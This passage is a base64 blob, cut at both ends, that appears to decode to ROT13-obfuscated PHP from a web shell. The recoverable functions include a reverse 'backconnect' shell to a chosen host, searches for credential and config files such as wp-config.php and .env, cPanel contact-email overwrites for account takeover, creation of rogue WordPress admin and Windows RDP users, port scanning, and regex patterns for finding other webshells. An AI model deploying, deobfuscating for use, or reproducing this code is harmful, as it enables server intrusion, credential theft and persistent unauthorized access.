zdnlyX2NuZ3UpOw0KICAgICAgICAgICAgICAgICAgICBycHViIHdmYmFfcmFwYnFyKFsnZmhwcHJmZicgPT4gZ2VociwgJ3BiYWdyYWcnID0+ICRwYmFncmFnXSk7DQogICAgICAgICAgICAgICAgfSByeWZyIHsNCiAgICAgICAgICAgICAgICAgICAgcnB1YiB3ZmJhX3JhcGJxcihbJ2ZocHByZmYnID0+IHNueWZyLCAncmVlYmUnID0+ICdTdnlyIGFiZyBzYmhhcSddKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgcmt2ZzsNCg0KICAgICAgICAgICAgcG5mciAnb25weHBiYWFycGcnOg0KICAgICAgICAgICAgICAgICR1YmZnID0gJF9DQkZHWyd1YmZnJ10gPz8gJyc7DQogICAgICAgICAgICAgICAgJGNiZWcgPSAkX0NCRkdbJ2NiZWcnXSA/PyAnNDQ0NCc7DQogICAgICAgICAgICAgICAgJGJoZ2NoZyA9IG9ucHhwYmFhcnBnKCR1YmZnLCAkY2JlZyk7DQogICAgICAgICAgICAgICAgcnB1YiB3ZmJhX3JhcGJxcigkYmhnY2hnKTsNCiAgICAgICAgICAgICAgICBya3ZnOw0KDQogICAgICAgICAgICBwbmZyICdmcG5hX3BiYXN2dF9zdnlyZic6DQogICAgICAgICAgICAgICAgJGZwbmFfY25ndSA9ICRfQ0JGR1snZnBuYV9jbmd1J10gPz8gJy9pbmUvampqJzsNCiAgICAgICAgICAgICAgICAkYmhnY2hnID0gZnBuYVBiYXN2dFN2eXJmKCRmcG5hX2NuZ3UpOw0KICAgICAgICAgICAgICAgIHJwdWIgd2ZiYV9yYXBicXIoJGJoZ2NoZyk7DQogICAgICAgICAgICAgICAgcmt2ZzsNCg0KICAgICAgICAgICAgcG5mciAnZXJmcmdfcGNuYXJ5JzoNCiAgICAgICAgICAgICAgICAkcnpudnkgPSAkX0NCRkdbJ3J6bnZ5J10gPz8gJyc7DQogICAgICAgICAgICAgICAgJGJoZ2NoZyA9IGVyZnJnUGNuYXJ5KCRyem52eSk7DQogICAgICAgICAgICAgICAgcnB1YiB3ZmJhX3JhcGJxcigkYmhnY2hnKTsNCiAgICAgICAgICAgICAgICBya3ZnOw0KDQogICAgICAgICAgICBwbmZyICdtdmNfc3Z5cmYnOg0KICAgICAgICAgICAgICAgICRzdnlyZiA9ICRfQ0JGR1snc3Z5cmYnXSA/PyBbXTsNCiAgICAgICAgICAgICAgICAkbXZjX2FuenIgPSAkX0NCRkdbJ212Y19hbnpyJ10gPz8gJ25lcHV2aXIubXZjJzsNCiAgICAgICAgICAgICAgICAkYmhnY2hnID0gcGVybmdyTXZjKCRzdnlyZiwgJG12Y19hbnpyLCAkcGhlZXJhZ19xdmUpOw0KICAgICAgICAgICAgICAgIHJwdWIgd2ZiYV9yYXBicXIoJGJoZ2NoZyk7DQogICAgICAgICAgICAgICAgcmt2ZzsNCg0KICAgICAgICAgICAgcG5mciAnaGFtdmNfc3Z5cic6DQogICAgICAgICAgICAgICAgJG12Y19zdnlyID0gJF9DQkZHWydtdmNfc3Z5ciddID8/ICcnOw0KICAgICAgICAgICAgICAgICRya2dlbnBnX2NuZ3UgPSAkX0NCRkdbJ3JrZ2VucGdfY25ndSddID8/ICcnOw0KICAgICAgICAgICAgICAgICRiaGdjaGcgPSBya2dlbnBnTXZjKCRtdmNfc3Z5ciwgJHJrZ2VucGdfY25ndSk7DQogICAgICAgICAgICAgICAgcnB1YiB3ZmJhX3JhcGJxcigkYmhnY2hnKTsNCiAgICAgICAgICAgICAgICBya3ZnOw0KDQogICAgICAgICAgICBwbmZyICducXFfZXFjX2hmcmUnOg0KICAgICAgICAgICAgICAgICRoZnJlYW56ciA9ICRfQ0JGR1snaGZyZWFuenInXSA/PyAnJzsNCiAgICAgICAgICAgICAgICAkY25mZmpiZXEgPSAkX0NCRkdbJ2NuZmZqYmVxJ10gPz8gJyc7DQogICAgICAgICAgICAgICAgJGJoZ2NoZyA9IG5xcUVxY0hmcmUoJGhmcmVhbnpyLCAkY25mZmpiZXEpOw0KICAgICAgICAgICAgICAgIHJwdWIgd2ZiYV9yYXBicXIoJGJoZ2NoZyk7DQogICAgICAgICAgICAgICAgcmt2ZzsNCg0KICAgICAgICAgICAgcG5mciAncmFub3lyX2VxYyc6DQogICAgICAgICAgICAgICAgJGJoZ2NoZyA9IHJhbm95ckVxYygpOw0KICAgICAgICAgICAgICAgIHJwdWIgd2ZiYV9yYXBicXIoJGJoZ2NoZyk7DQogICAgICAgICAgICAgICAgcmt2ZzsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBya3ZnOw0KfQ0KDQovLyBKYmVxQ2VyZmYgSGZyZSBTaGFwZ3ZiYQ0Kc2hhcGd2YmEgbnFxSmJlcUNlcmZmSGZyZSgkaGZyZWFuenIsICRjbmZmamJlcSwgJHJ6bnZ5LCAkZWJ5ciwgJGpjX3BiYXN2dF9jbmd1KSB7DQogICAgdnMgKCFzdnlyX3JrdmZnZigkamNfcGJhc3Z0X2NuZ3UpKSB7DQogICAgICAgIGVyZ2hlYSBbJ2ZocHByZmYnID0+IHNueWZyLCAnYmhnY2hnJyA9PiAnSmJlcUNlcmZmIHBiYXN2dCBzdnlyIGFiZyBzYmhhcSddOw0KICAgIH0NCiAgICANCiAgICAkamNfcXZlID0gcXZlYW56cigkamNfcGJhc3Z0X2NuZ3UpOw0KICAgICRqY195Ym5xID0gJGpjX3F2ZSAuICcvamMteWJucS5jdWMnOw0KICAgIA0KICAgIHZzICghc3Z5cl9ya3ZmZ2YoJGpjX3libnEpKSB7DQogICAgICAgIGVyZ2hlYSBbJ2ZocHByZmYnID0+IHNueWZyLCAnYmhnY2hnJyA9PiAnSmJlcUNlcmZmIGFiZyBzYmhhcSB2YSBndXZmIHF2ZXJwZ2JlbCddOw0KICAgIH0NCiAgICANCiAgICAkZnBldmNnID0gIjw/Y3VjDQpxcnN2YXIoJ0pDX0hGUl9HVVJaUkYnLCBzbnlmcik7DQplcmRodmVyX2JhcHIoJyRqY195Ym5xJyk7DQoNCnZzICghc2hhcGd2YmFfcmt2ZmdmKCdqY19wZXJuZ3JfaGZyZScpKSB7DQogICAgcnB1YiAnSmJlcUNlcmZmIHNoYXBndmJhZiBhYmcgbmludnlub3lyJzsNCiAgICBya3ZnOw0KfQ0KDQpcJGhmcmVfdnEgPSBqY19wZXJuZ3JfaGZyZSgnJGhmcmVhbnpyJywgJyRjbmZmamJlcScsICckcnpudnknKTsNCnZzICh2Zl9qY19yZWViZShcJGhmcmVfdnEpKSB7DQogICAgcnB1YiAnUmVlYmU6ICcgLiBcJGhmcmVfdnEtPnRyZ19yZWViZV96cmZmbnRyKCk7DQp9IHJ5ZnIgew0KICAgIFwkaGZyZSA9IGFyaiBKQ19IZnJlKFwkaGZyZV92cSk7DQogICAgXCRoZnJlLT5mcmdfZWJ5cignJGVieXInKTsNCiAgICBycHViICdIZnJlICRoZnJlYW56ciBwZXJuZ3JxIGZocHByZmZzaHl5bCBqdmd1IGVieXI6ICRlYnlyJzsNCn0NCj8+IjsNCiAgICANCiAgICAkZ3J6Y19mcGV2Y2cgPSBncnpjYW56KGZsZl90cmdfZ3J6Y19xdmUoKSwgJ2pjX2hmcmVfJyk7DQogICAgc3Z5cl9jaGdfcGJhZ3JhZ2YoJGdyemNfZnBldmNnLCAkZnBldmNnKTsNCiAgICANCiAgICAkYmhnY2hnID0gW107DQogICAgcmtycCgiY3VjICIgLiByZnBuY3JmdXJ5eW5ldCgkZ3J6Y19mcGV2Y2cpIC4gIiAyPiYxIiwgJGJoZ2NoZyk7DQogICAgaGF5dmF4KCRncnpjX2ZwZXZjZyk7DQogICAgDQogICAgZXJnaGVhIFsnZmhwcHJmZicgPT4gZ2VociwgJ2JoZ2NoZycgPT4gdnpjeWJxcigiXGEiLCAkYmhnY2hnKV07DQp9DQoNCi8vIENiZWcgRnBuYWFyZSBTaGFwZ3ZiYQ0Kc2hhcGd2YmEgZnBuYUNiZWdmKCR1YmZnLCAkY2JlZ2YpIHsNCiAgICAkY2JlZ195dmZnID0gcmtjeWJxcignLCcsICRjYmVnZik7DQogICAgJGVyZmh5Z2YgPSBbXTsNCiAgICANCiAgICBzYmVybnB1ICgkY2JlZ195dmZnIG5mICRjYmVnKSB7DQogICAgICAgICRjYmVnID0gZ2V2eigkY2JlZyk7DQogICAgICAgICRwYmFhcnBndmJhID0gQHNmYnB4YmNyYSgkdWJmZywgJGNiZWcsICRyZWVhYiwgJHJlZWZnZSwgMSk7DQogICAgICAgIA0KICAgICAgICB2cyAodmZfZXJmYmhlcHIoJHBiYWFycGd2YmEpKSB7DQogICAgICAgICAgICAkZXJmaHlnZltdID0gIkNiZWcgJGNiZWc6IEJDUkEiOw0KICAgICAgICAgICAgc3B5YmZyKCRwYmFhcnBndmJhKTsNCiAgICAgICAgfSByeWZyIHsNCiAgICAgICAgICAgICRlcmZoeWdmW10gPSAiQ2JlZyAkY2JlZzogUFlCRlJRIjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBnZWhyLCAnYmhnY2hnJyA9PiB2emN5YnFyKCJcYSIsICRlcmZoeWdmKV07DQp9DQoNCi8vIEpyb2Z1cnl5IEZwbmFhcmUgU2hhcGd2YmENCnNoYXBndmJhIGZwbmFKcm9mdXJ5eWYoJGNuZ3UpIHsNCiAgICAkanJvZnVyeXlfY25nZ3JlYWYgPSBbDQogICAgICAgICcvcmlueVxmKlwoLipvbmZyNjRfcXJwYnFyLycsDQogICAgICAgICcvZmxmZ3J6XGYqXCgvJywNCiAgICAgICAgJy9ya3JwXGYqXCgvJywNCiAgICAgICAgJy9mdXJ5eV9ya3JwXGYqXCgvJywNCiAgICAgICAgJy9jbmZmZ3VlaFxmKlwoLycsDQogICAgICAgICcvY2JjcmFcZipcKC8nLA0KICAgICAgICAnL2NlYnBfYmNyYS8nLA0KICAgICAgICAnL2AuKmAvJywNCiAgICAgICAgJy9uZmZyZWdcZipcKC8nLA0KICAgICAgICAnL2NlcnRfZXJjeW5wclxmKlwoLipcL3IvJywNCiAgICAgICAgJy9wZXJuZ3Jfc2hhcGd2YmEvJywNCiAgICAgICAgJy9zdnlyX2NoZ19wYmFncmFnZlxmKlwoLipcJF8vJywNCiAgICAgICAgJy9zdnlyX3RyZ19wYmFncmFnZlxmKlwoLipcJF8vJywNCiAgICAgICAgJy9waGV5X3JrcnAvJywNCiAgICAgICAgJy9qdHJnXGYrLycsDQogICAgICAgICcvY3VjdmFzYlxmKlwoLycNCiAgICBdOw0KICAgIA0KICAgICRmaGZjdnB2YmhmX3N2eXJmID0gW107DQogICAgDQogICAgdnMgKCF2Zl9xdmUoJGNuZ3UpKSB7DQogICAgICAgIGVyZ2hlYSBbJ2ZocHByZmYnID0+IHNueWZyLCAnYmhnY2hnJyA9PiAnUXZlcnBnYmVsIGFiZyBzYmhhcSddOw0KICAgIH0NCiAgICANCiAgICAkdmdyZW5nYmUgPSBhcmogRXJwaGVmdmlyVmdyZW5nYmVWZ3JlbmdiZSgNCiAgICAgICAgYXJqIEVycGhlZnZpclF2ZXJwZ2JlbFZncmVuZ2JlKCRjbmd1LCBFcnBoZWZ2aXJRdmVycGdiZWxWZ3JlbmdiZTo6RlhWQ19RQkdGKSwNCiAgICAgICAgRXJwaGVmdmlyVmdyZW5nYmVWZ3JlbmdiZTo6RlJZU19TVkVGRw0KICAgICk7DQogICAgDQogICAgc2Jlcm5wdSAoJHZncmVuZ2JlIG5mICRzdnlyKSB7DQogICAgICAgIHZzICgkc3Z5ci0+dmZTdnlyKCkgJiYgdmFfbmVlbmwoJHN2eXItPnRyZ1JrZ3JhZnZiYSgpLCBbJ2N1YycsICdjdWd6eScsICdna2cnLCAndWd6eScsICd1Z3onXSkpIHsNCiAgICAgICAgICAgICRwYmFncmFnID0gc3Z5cl90cmdfcGJhZ3JhZ2YoJHN2eXItPnRyZ0NuZ3VhbnpyKCkpOw0KICAgICAgICAgICAgJHpuZ3B1cmYgPSBbXTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgc2Jlcm5wdSAoJGpyb2Z1cnl5X2NuZ2dyZWFmIG5mICRjbmdncmVhKSB7DQogICAgICAgICAgICAgICAgdnMgKGNlcnRfem5ncHUoJGNuZ2dyZWEsICRwYmFncmFnKSkgew0KICAgICAgICAgICAgICAgICAgICAkem5ncHVyZltdID0gJGNuZ2dyZWE7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICB2cyAoIXJ6Y2dsKCR6bmdwdXJmKSkgew0KICAgICAgICAgICAgICAgICRmaGZjdnB2YmhmX3N2eXJmW10gPSBbDQogICAgICAgICAgICAgICAgICAgICdjbmd1JyA9PiAkc3Z5ci0+dHJnQ25ndWFuenIoKSwNCiAgICAgICAgICAgICAgICAgICAgJ2NuZ2dyZWFmJyA9PiAkem5ncHVyZiwNCiAgICAgICAgICAgICAgICAgICAgJ2Z2bXInID0+ICRzdnlyLT50cmdGdm1yKCkNCiAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIGVyZ2hlYSBbJ2ZocHByZmYnID0+IGdlaHIsICdzdnlyZicgPT4gJGZoZmN2cHZiaGZfc3Z5cmZdOw0KfQ0KDQovLyBPbnB4cGJhYXJwZyBTaGFwZ3ZiYQ0Kc2hhcGd2YmEgb25weHBiYWFycGcoJHViZmcsICRjYmVnKSB7DQogICAgJGZicHggPSBAc2ZicHhiY3JhKCR1YmZnLCAkY2JlZywgJHJlZWFiLCAkcmVlZmdlLCAzMCk7DQogICAgDQogICAgdnMgKCEkZmJweCkgew0KICAgICAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBzbnlmciwgJ2JoZ2NoZycgPT4gIlNudnlycSBnYiBwYmFhcnBnOiAkcmVlZmdlICgkcmVlYWIpIl07DQogICAgfQ0KICAgIA0KICAgIHNqZXZncigkZmJweCwgIk9ucHhwYmFhcnBnIHJmZ25veXZmdXJxIHNlYnogIiAuICRfRlJFSVJFWydFUlpCR1JfTlFRRSddIC4gIlxhIik7DQogICAgDQogICAganV2eXIgKCFzcmJzKCRmYnB4KSkgew0KICAgICAgICBzamV2Z3IoJGZicHgsICIkICIpOw0KICAgICAgICAkcHpxID0gc3RyZ2YoJGZicHgpOw0KICAgICAgICANCiAgICAgICAgdnMgKGdldnooJHB6cSkgPT0gJ3JrdmcnKSB7DQogICAgICAgICAgICBvZXJueDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJGJoZ2NoZyA9IGZ1cnl5X3JrcnAoJHB6cSk7DQogICAgICAgIHNqZXZncigkZmJweCwgJGJoZ2NoZyk7DQogICAgfQ0KICAgIA0KICAgIHNweWJmcigkZmJweCk7DQogICAgZXJnaGVhIFsnZmhwcHJmZicgPT4gZ2VociwgJ2JoZ2NoZycgPT4gJ09ucHhwYmFhcnBnIGZyZmZ2YmEgcGJ6Y3lyZ3JxJ107DQp9DQoNCi8vIFBiYXN2dCBTdnlyIFVoYWdyZQ0Kc2hhcGd2YmEgZnBuYVBiYXN2dFN2eXJmKCRjbmd1KSB7DQogICAgJHBiYXN2dF9jbmdncmVhZiA9IFsNCiAgICAgICAgJ3BiYXN2dC5jdWMnLA0KICAgICAgICAncGJhc3Z0aGVuZ3ZiYS5jdWMnLA0KICAgICAgICAnamMtcGJhc3Z0LmN1YycsDQogICAgICAgICdwYmFzdnQudmFwLmN1YycsDQogICAgICAgICdmcmdndmF0Zi5jdWMnLA0KICAgICAgICAnLnJhaScsDQogICAgICAgICdwYmFzdnQud2ZiYScsDQogICAgICAgICdwYmFzdnQua3p5JywNCiAgICAgICAgJ3FuZ25vbmZyLmx6eScsDQogICAgICAgICdxbmdub25mci53ZmJhJywNCiAgICAgICAgJ25jYy5wYmFzdnQnLA0KICAgICAgICAnanJvLnBiYXN2dCcsDQogICAgICAgICdwYmFzdnQudmF2JywNCiAgICAgICAgJy51Z2NuZmZqcScsDQogICAgICAgICcudWducHByZmYnDQogICAgXTsNCiAgICANCiAgICAkc2JoYXFfc3Z5cmYgPSBbXTsNCiAgICANCiAgICB2cyAoIXZmX3F2ZSgkY25ndSkpIHsNCiAgICAgICAgZXJnaGVhIFsnZmhwcHJmZicgPT4gc255ZnIsICdiaGdjaGcnID0+ICdRdmVycGdiZWwgYWJnIHNiaGFxJ107DQogICAgfQ0KICAgIA0KICAgICR2Z3JlbmdiZSA9IGFyaiBFcnBoZWZ2aXJWZ3JlbmdiZVZncmVuZ2JlKA0KICAgICAgICBhcmogRXJwaGVmdmlyUXZlcnBnYmVsVmdyZW5nYmUoJGNuZ3UsIEVycGhlZnZpclF2ZXJwZ2JlbFZncmVuZ2JlOjpGWFZDX1FCR0YpLA0KICAgICAgICBFcnBoZWZ2aXJWZ3JlbmdiZVZncmVuZ2JlOjpGUllTX1NWRUZHDQogICAgKTsNCiAgICANCiAgICBzYmVybnB1ICgkdmdyZW5nYmUgbmYgJHN2eXIpIHsNCiAgICAgICAgdnMgKCRzdnlyLT52ZlN2eXIoKSkgew0KICAgICAgICAgICAgJHN2eXJhbnpyID0gJHN2eXItPnRyZ1N2eXJhbnpyKCk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIHNiZXJucHUgKCRwYmFzdnRfY25nZ3JlYWYgbmYgJGNuZ2dyZWEpIHsNCiAgICAgICAgICAgICAgICB2cyAoc2F6bmdwdSgkY25nZ3JlYSwgJHN2eXJhbnpyKSB8fCBmZ2V2Y2JmKCRzdnlyYW56ciwgJ3BiYXN2dCcpICE9PSBzbnlmcikgew0KICAgICAgICAgICAgICAgICAgICAkc2JoYXFfc3Z5cmZbXSA9IFsNCiAgICAgICAgICAgICAgICAgICAgICAgICdjbmd1JyA9PiAkc3Z5ci0+dHJnQ25ndWFuenIoKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdmdm1yJyA9PiAkc3Z5ci0+dHJnRnZtcigpLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3picXZzdnJxJyA9PiBxbmdyKCdMLXotcSBVOnY6ZicsICRzdnlyLT50cmdaR3Z6cigpKQ0KICAgICAgICAgICAgICAgICAgICBdOw0KICAgICAgICAgICAgICAgICAgICBvZXJueDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgZXJnaGVhIFsnZmhwcHJmZicgPT4gZ2VociwgJ3N2eXJmJyA9PiAkc2JoYXFfc3Z5cmZdOw0KfQ0KDQovLyBFcmZyZyBwQ25hcnkgU2hhcGd2YmENCnNoYXBndmJhIGVyZnJnUGNuYXJ5KCRyem52eSkgew0KICAgICRwY25hcnlfcXZlID0gJy91YnpyLyovLnBjbmFyeS9wYmFnbnBndmFzYic7DQogICAgJHBiYWducGdfc3Z5cmYgPSB0eWJvKCRwY25hcnlfcXZlKTsNCiAgICANCiAgICB2cyAocnpjZ2woJHBiYWducGdfc3Z5cmYpKSB7DQogICAgICAgIGVyZ2hlYSBbJ2ZocHByZmYnID0+IHNueWZyLCAnYmhnY2hnJyA9PiAnQWIgcENuYXJ5IHBiYWducGd2YXNiIHN2eXJmIHNiaGFxJ107DQogICAgfQ0KICAgIA0KICAgICRlcmZoeWdmID0gW107DQogICAgc2Jlcm5wdSAoJHBiYWducGdfc3Z5cmYgbmYgJHN2eXIpIHsNCiAgICAgICAgJHBiYWdyYWcgPSAicnpudnk6ICRyem52eVxhIjsNCiAgICAgICAgdnMgKHN2eXJfY2hnX3BiYWdyYWdmKCRzdnlyLCAkcGJhZ3JhZykgIT09IHNueWZyKSB7DQogICAgICAgICAgICAkZXJmaHlnZltdID0gIkhjcW5ncnE6ICRzdnlyIjsNCiAgICAgICAgfSByeWZyIHsNCiAgICAgICAgICAgICRlcmZoeWdmW10gPSAiU252eXJxOiAkc3Z5ciI7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgZXJnaGVhIFsnZmhwcHJmZicgPT4gZ2VociwgJ2JoZ2NoZycgPT4gdnpjeWJxcigiXGEiLCAkZXJmaHlnZildOw0KfQ0KDQovLyBNdmMgU2hhcGd2YmENCnNoYXBndmJhIHBlcm5nck12Yygkc3Z5cmYsICRtdmNfYW56ciwgJHBoZWVyYWdfcXZlKSB7DQogICAgdnMgKHJ6Y2dsKCRzdnlyZikpIHsNCiAgICAgICAgZXJnaGVhIFsnZmhwcHJmZicgPT4gc255ZnIsICdiaGdjaGcnID0+ICdBYiBzdnlyZiBmcnlycGdycSddOw0KICAgIH0NCiAgICANCiAgICAkbXZjX2NuZ3UgPSAkcGhlZXJhZ19xdmUgLiAnLycgLiAkbXZjX2FuenI7DQogICAgDQogICAgdnMgKHB5bmZmX3JrdmZnZignTXZjTmVwdXZpcicpKSB7DQogICAgICAgICRtdmMgPSBhcmogTXZjTmVwdXZpcigpOw0KICAgICAgICB2cyAoJG12Yy0+YmNyYSgkbXZjX2NuZ3UsIE12Y05lcHV2aXI6OlBFUk5HUikgPT09IEdFSFIpIHsNCiAgICAgICAgICAgIHNiZXJucHUgKCRzdnlyZiBuZiAkc3Z5cikgew0KICAgICAgICAgICAgICAgICRzdnlyX2NuZ3UgPSAkcGhlZXJhZ19xdmUgLiAnLycgLiAkc3Z5cjsNCiAgICAgICAgICAgICAgICB2cyAoc3Z5cl9ya3ZmZ2YoJHN2eXJfY25ndSkpIHsNCiAgICAgICAgICAgICAgICAgICAgdnMgKHZmX3F2ZSgkc3Z5cl9jbmd1KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgbnFxU2J5cXJlR2JNdmMoJG12YywgJHN2eXJfY25ndSwgJHN2eXIpOw0KICAgICAgICAgICAgICAgICAgICB9IHJ5ZnIgew0KICAgICAgICAgICAgICAgICAgICAgICAgJG12Yy0+bnFxU3Z5cigkc3Z5cl9jbmd1LCAkc3Z5cik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkbXZjLT5weWJmcigpOw0KICAgICAgICAgICAgZXJnaGVhIFsnZmhwcHJmZicgPT4gZ2VociwgJ2JoZ2NoZycgPT4gIk12YyBzdnlyIHBlcm5ncnE6ICRtdmNfY25ndSJdOw0KICAgICAgICB9IHJ5ZnIgew0KICAgICAgICAgICAgZXJnaGVhIFsnZmhwcHJmZicgPT4gc255ZnIsICdiaGdjaGcnID0+ICdTbnZ5cnEgZ2IgcGVybmdyIG12YyBzdnlyJ107DQogICAgICAgIH0NCiAgICB9IHJ5ZnIgew0KICAgICAgICAkc3Z5cmZfZmdlID0gdnpjeWJxcignICcsIG5lZW5sX3puYygncmZwbmNyZnVyeXluZXQnLCAkc3Z5cmYpKTsNCiAgICAgICAgJHBienpuYXEgPSAicHEgIiAuIHJmcG5jcmZ1cnl5bmV0KCRwaGVlcmFnX3F2ZSkgLiAiICYmIG12YyAtZSAiIC4gcmZwbmNyZnVyeXluZXQoJG12Y19hbnpyKSAuICIgJHN2eXJmX2ZnZSAyPiYxIjsNCiAgICAgICAgcmtycCgkcGJ6em5hcSwgJGJoZ2NoZywgJGVyZ2hlYV9pbmUpOw0KICAgICAgICANCiAgICAgICAgdnMgKCRlcmdoZWFfaW5lID09PSAwKSB7DQogICAgICAgICAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBnZWhyLCAnYmhnY2hnJyA9PiAiTXZjIHN2eXIgcGVybmdycTogJG12Y19jbmd1XGEiIC4gdnpjeWJxcigiXGEiLCAkYmhnY2hnKV07DQogICAgICAgIH0gcnlmciB7DQogICAgICAgICAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBzbnlmciwgJ2JoZ2NoZycgPT4gIlNudnlycSBnYiBwZXJuZ3IgbXZjIHN2eXJcYSIgLiB2emN5YnFyKCJcYSIsICRiaGdjaGcpXTsNCiAgICAgICAgfQ0KICAgIH0NCn0NCg0Kc2hhcGd2YmEgbnFxU2J5cXJlR2JNdmMoJG12YywgJHNieXFyZSwgJG9uZnJfYW56cikgew0KICAgICRzdnlyZiA9IGZwbmFxdmUoJHNieXFyZSk7DQogICAgc2Jlcm5wdSAoJHN2eXJmIG5mICRzdnlyKSB7DQogICAgICAgIHZzICgkc3Z5ciA9PSAnLicgfHwgJHN2eXIgPT0gJy4uJykgcGJhZ3ZhaHI7DQogICAgICAgICRzdnlyX2NuZ3UgPSAkc2J5cXJlIC4gJy8nIC4gJHN2eXI7DQogICAgICAgICR5YnBueV9jbmd1ID0gJG9uZnJfYW56ciAuICcvJyAuICRzdnlyOw0KICAgICAgICANCiAgICAgICAgdnMgKHZmX3F2ZSgkc3Z5cl9jbmd1KSkgew0KICAgICAgICAgICAgJG12Yy0+bnFxUnpjZ2xRdmUoJHlicG55X2NuZ3UpOw0KICAgICAgICAgICAgbnFxU2J5cXJlR2JNdmMoJG12YywgJHN2eXJfY25ndSwgJHlicG55X2NuZ3UpOw0KICAgICAgICB9IHJ5ZnIgew0KICAgICAgICAgICAgJG12Yy0+bnFxU3Z5cigkc3Z5cl9jbmd1LCAkeWJwbnlfY25ndSk7DQogICAgICAgIH0NCiAgICB9DQp9DQoNCi8vIEhhbXZjIFNoYXBndmJhDQpzaGFwZ3ZiYSBya2dlbnBnTXZjKCRtdmNfc3Z5ciwgJHJrZ2VucGdfY25ndSA9IGFoeXkpIHsNCiAgICB2cyAoIXN2eXJfcmt2ZmdmKCRtdmNfc3Z5cikpIHsNCiAgICAgICAgZXJnaGVhIFsnZmhwcHJmZicgPT4gc255ZnIsICdiaGdjaGcnID0+ICdNdmMgc3Z5ciBhYmcgc2JoYXEnXTsNCiAgICB9DQogICAgDQogICAgdnMgKCEkcmtnZW5wZ19jbmd1KSB7DQogICAgICAgICRya2dlbnBnX2NuZ3UgPSBxdmVhbnpyKCRtdmNfc3Z5cik7DQogICAgfQ0KICAgIA0KICAgIHZzICghdmZfcXZlKCRya2dlbnBnX2NuZ3UpKSB7DQogICAgICAgIHp4cXZlKCRya2dlbnBnX2NuZ3UsIDA3NTUsIGdlaHIpOw0KICAgIH0NCiAgICANCiAgICB2cyAocHluZmZfcmt2ZmdmKCdNdmNOZXB1dmlyJykpIHsNCiAgICAgICAgJG12YyA9IGFyaiBNdmNOZXB1dmlyKCk7DQogICAgICAgIHZzICgkbXZjLT5iY3JhKCRtdmNfc3Z5cikgPT09IEdFSFIpIHsNCiAgICAgICAgICAgICRtdmMtPnJrZ2VucGdHYigkcmtnZW5wZ19jbmd1KTsNCiAgICAgICAgICAgICRtdmMtPnB5YmZyKCk7DQogICAgICAgICAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBnZWhyLCAnYmhnY2hnJyA9PiAiTXZjIHN2eXIgcmtnZW5wZ3JxIGdiOiAkcmtnZW5wZ19jbmd1Il07DQogICAgICAgIH0gcnlmciB7DQogICAgICAgICAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBzbnlmciwgJ2JoZ2NoZycgPT4gJ1NudnlycSBnYiBya2dlbnBnIG12YyBzdnlyJ107DQogICAgICAgIH0NCiAgICB9IHJ5ZnIgew0KICAgICAgICAkcGJ6em5hcSA9ICJoYW12YyAtYiAiIC4gcmZwbmNyZnVyeXluZXQoJG12Y19zdnlyKSAuICIgLXEgIiAuIHJmcG5jcmZ1cnl5bmV0KCRya2dlbnBnX2NuZ3UpIC4gIiAyPiYxIjsNCiAgICAgICAgcmtycCgkcGJ6em5hcSwgJGJoZ2NoZywgJGVyZ2hlYV9pbmUpOw0KICAgICAgICANCiAgICAgICAgdnMgKCRlcmdoZWFfaW5lID09PSAwKSB7DQogICAgICAgICAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBnZWhyLCAnYmhnY2hnJyA9PiAiTXZjIHN2eXIgcmtnZW5wZ3JxIGdiOiAkcmtnZW5wZ19jbmd1XGEiIC4gdnpjeWJxcigiXGEiLCAkYmhnY2hnKV07DQogICAgICAgIH0gcnlmciB7DQogICAgICAgICAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBzbnlmciwgJ2JoZ2NoZycgPT4gIlNudnlycSBnYiBya2dlbnBnIG12YyBzdnlyXGEiIC4gdnpjeWJxcigiXGEiLCAkYmhnY2hnKV07DQogICAgICAgIH0NCiAgICB9DQp9DQoNCi8vIEVRQyBTaGFwZ3ZiYWYgc2JlIEp2YXFiamYNCnNoYXBndmJhIG5xcUVxY0hmcmUoJGhmcmVhbnpyLCAkY25mZmpiZXEpIHsNCiAgICB2cyAoZmdlZ2JoY2NyZShmaG9mZ2UoQ1VDX0JGLCAwLCAzKSkgIT09ICdKVkEnKSB7DQogICAgICAgIGVyZ2hlYSBbJ2ZocHByZmYnID0+IHNueWZyLCAnYmhnY2hnJyA9PiAnR3V2ZiBzcm5naGVyIHZmIGJheWwgbmludnlub3lyIGJhIEp2YXFiamYgZnJlaXJlZiddOw0KICAgIH0NCiAgICANCiAgICAkYmhnY2hnID0gW107DQogICAgJGVyZ2hlYV9pbmUgPSAwOw0KICAgIA0KICAgIHJrcnAoImFyZyBoZnJlICIgLiByZnBuY3JmdXJ5eW5ldCgkaGZyZWFuenIpIC4gIiAiIC4gcmZwbmNyZnVyeXluZXQoJGNuZmZqYmVxKSAuICIgL25xcSAyPiYxIiwgJGJoZ2NoZywgJGVyZ2hlYV9pbmUpOw0KICAgIA0KICAgIHZzICgkZXJnaGVhX2luZSAhPT0gMCkgew0KICAgICAgICBlcmdoZWEgWydmaHBwcmZmJyA9PiBzbnlmciwgJ2JoZ2NoZycgPT4gIlNudnlycSBnYiBwZXJuZ3IgaGZyZTogIiAuIHZ6Y3licXIoIlxhIi